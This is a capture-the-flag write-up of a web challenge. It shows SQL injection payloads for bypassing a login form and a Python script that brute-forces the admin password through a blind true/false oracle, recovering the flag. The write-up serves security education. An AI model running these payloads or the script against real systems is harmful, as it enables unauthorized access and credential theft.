Blind SQL injection. Create oracle and brute-force the flag.
The challenge was in the web category, gave 150 points and had the following description:
Hack without seeing! Find us the admin password.
Connect here: http://jh2i.com:50011
When opening the url in the bowser, we can see the following:
After some exploration, it seems that the site is prone to SQL injection. When providing it with the following credentials:
Username: admin ' or 1=1 #
Password: 123
it was possible to login as admin.
The output says:
Good job, but no flag here. :[
But we don’t get the admin password. As we do not get much feedback from the website, its not possible to dump the database and simply read out the password.
When posting the following credentials:
Username: admin ' and 0=1 #
Password: 123
the output looks differently:
YOU HACKER !!! HACKER !!! GO AWAY, HACKER!!!
This means that, if we provide a query that results in True
, we can a different prompt, that if the query results in False
.
We can use this to guess one character of the flag after the other.
Thus, the substring(s, pos, nb)
function is used, which returns the substring of s, beginning at index pos, ending at pos+nb.
Putting this in a query:
Username: admin' and substring(password, index, 1) == 'guessed_char' #
Password: 123
Now we can put everything into a script and brute-force all the characters:
import requests
#start session
s = requests.Session()
#define our set of valid characters
dictionary = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','0','_','{','}']
#The challenge url
URL = "http://jh2i.com:50011/"
#the final flag/admin password
passwd = []
def check():
#Position of the character we want to provide to the oracle
pos = 1
while True:
for x in dictionary:
print("Trying: "+x)
#Set the data to check if we guessed the character at position pos right.
data = {'username' : 'admin\' and substring(password,'+str(pos)+',1)=\''+str(x)+"\'#", 'password' : "123"}
# Post the data to the website.
r = s.post(url = URL, data = data)
#if we see the word "HACKER", we know that the guess character is not correct
if("HACKER" in r.text):
#print(r.text)
continue
#else, we know that we guessed it correctly, and add to our flag string
else:
passwd.append(x)
#print password progress
print(''.join(passwd))
pos +=1
#if we have our last character, break the endless loop
if(str(x) == "}"):
print(''.join(passwd))
return
break
check()
Tdaa, and we get the flag: lls{blind_sql_injection_cant_be_done_with_braille}